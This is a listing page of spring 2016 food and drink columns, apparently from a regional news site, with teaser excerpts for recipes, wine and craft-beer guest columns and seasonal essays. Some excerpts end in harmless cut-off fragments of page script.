The evolution of salad

Apr 30, 2016 / 6:00 am

Photo: Halfpoint Bountiful harvest As things heat up, I am encouraged to see the garden growing, and know that soon we will have our own veggies. Salad is a staple at our house during the warm season, and I love being able to gather the ingredients from the back yard - arugula, sorrel,

Crispy chilli lamb

Apr 27, 2016 / 12:23 pm

Another fantastically simple and speedy lamb recipe cooked on the farm... this time with an Italian twist. A smooth and delicious variation on hummus made with butterbeans creates the perfect bed for stacks of crispy fiery chilli lamb. Topped off with fresh tomato, parsley and olive oil all you

I'm Earl. Drink me

Apr 23, 2016 / 11:00 am

Photo: Teaghan McGinnis BNA Brewing Co. & Eatery Our Spirited Endeavours guest writer today is Jill Jarrett of BNA Brewing Co. & Eatery. Jill is on the frontline of the craft beer revolution that is making its way into Okanagan culture. When she’s not immersed in all

Sticky fingers

Apr 23, 2016 / 7:00 am

Photo: Kristin Peturson-Laprise Tootsie-selfie Sticky fingers and dirty toes This weekend will mark the official beginning of the sunny season. The sunny season is more than spring, it runs into summer, it is the feeling you get that lasts right through ’til September . . . yo

Fresh prawn rolls

Apr 20, 2016 / 4:06 pm

Having experienced Vietnam first hand, Gordon Ramsay shows you his recipe for fragrant and delicate prawns summer rolls full of flavour, along with an exciting sweet chilli and mint dipping sauce.  Don't forget to share this with your family and friends! if(navigator.userAgent.toLow

Juicy and plump

Apr 16, 2016 / 11:03 am

Photo: Zametalov This week’s Spirited Endeavours guest writer is Shanyn Ward, a tenacious student of all things wine, including global wine culture, production and viticulture. Her passion for wine knowledge is, luckily for us, driven by a desire to share her experiences with everyo

You can't get off

Apr 16, 2016 / 11:00 am

Photo: Lambert / Getty Images Earth Day button, circa 1970 Ah, spring!  Blossoms abound, and the buzzing of bees and twittering of birds are hard to ignore. It is a time when most of us feel happily connected to the earth as the days get longer and the landscape gets greener.&n

Ramen steak skillet

Apr 13, 2016 / 9:18 pm

Love ramen? Start incorporating the noodles into a stir-fry with this easy weeknight dinner. Don't forget to share this with your family and friends! if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Lasagne roll-ups

Apr 13, 2016 / 10:51 am

A super simple take on classic lasagne.  Don't forget to share this with your family and friends! if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Jamie's Italian burger

Apr 11, 2016 / 2:22 pm

Juicy prime cuts of beef make this melt in the mouth burger completely irresistible.  if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

He had me at effervescent

Apr 9, 2016 / 6:09 pm

Photo: Caillum Smith/Preserved Light Photography We are pleased to welcome back journalist and photographer Elaine Davidson. Elaine wrote last week's not-to-be-missed You'd better delete that. Distilling the essence of summer By Elaine Davidson The Naramata Cide

Old fears, new tricks

Apr 9, 2016 / 6:00 am

Photo: St. Byte I decided this year to conquer some of my old fears.  At the grand old age of 50, it seemed I should be able to tick a few items off my bucket list, despite being an old dog. So, when we were in Jamaica I screwed up my courage and did my first night dive. Pretty go

Get your wild game on

Apr 6, 2016 / 3:16 pm

Photo: Contributed West Kelowna chef Ben Pallett will showcase his farm-to-table philosophy. With more than 28,000 anglers and 18,000 licenced hunters in the Okanagan, there is a large group of the community that loves the outdoors and providing wild game for their families. However

Salted caramel meringue

Apr 5, 2016 / 2:03 pm

Unique meringue mound cookies covered in salted caramel sauce. You won't be disappointed!  if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

You'd better delete that

Apr 5, 2016 / 8:16 am

Photo: Nautiluz Journalist and photographer Elaine Davidson has turned her focus to exploring her Village of Naramata and surrounding area. When Elaine is not drinking wine with funny names, she is training to swim the English Channel on a relay team this July. You’d better delet

Watercooler talk

Apr 2, 2016 / 6:00 am

  Need some fun and interesting anecdotes, experiments, and other silly trivia to add to your repertoire of good conversation starters in case you find yourself at an awkward dinner party? Here goes nuthin’ ~ Luxury of peanut butter Did you know that peanut butter w

A next level steak

Apr 1, 2016 / 3:45 pm

Professional carnivore Nick Solares visits Mu Ramen in Long Island City, to eat a steak that has been dry-aged for 400 days. Watch to see if chef Joshua Smookler’s funky, fatty experiment pays off as Solares samples it sous vide, over sushi rice, and even raw. if(navigator.userAgent.toLow

Spiced pork chop

Apr 1, 2016 / 3:33 pm

Using a moist and tender cut of pork, marinade it in chilli, paprika, coriander seeds, star anise, garlic and thyme. The sweet potato mash with garlic and shallots is the perfect accompaniment. Mouth watering. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

A tipsy romp

Mar 27, 2016 / 6:43 am

Photo: Brian McEntire What better guest writer to launch Spirited Endeavours than our own Kristin Peturson-Laprise, author of Castanet’s Happy Gourmand column? And what better topic than a bit of history on what we all hold so dear (especially if someone is trying to take the glass

Warm fuzzies of spring

Mar 26, 2016 / 4:00 pm

Photo: Kristin Peturson-Laprise Who doesn't like spring? Blossoms bring back the colour in the landscape, baby animals soften everyone's heart, longer days mean more light and more smiles . . . and there's chocolate at Easter!  Doesn't it seem as though spring is a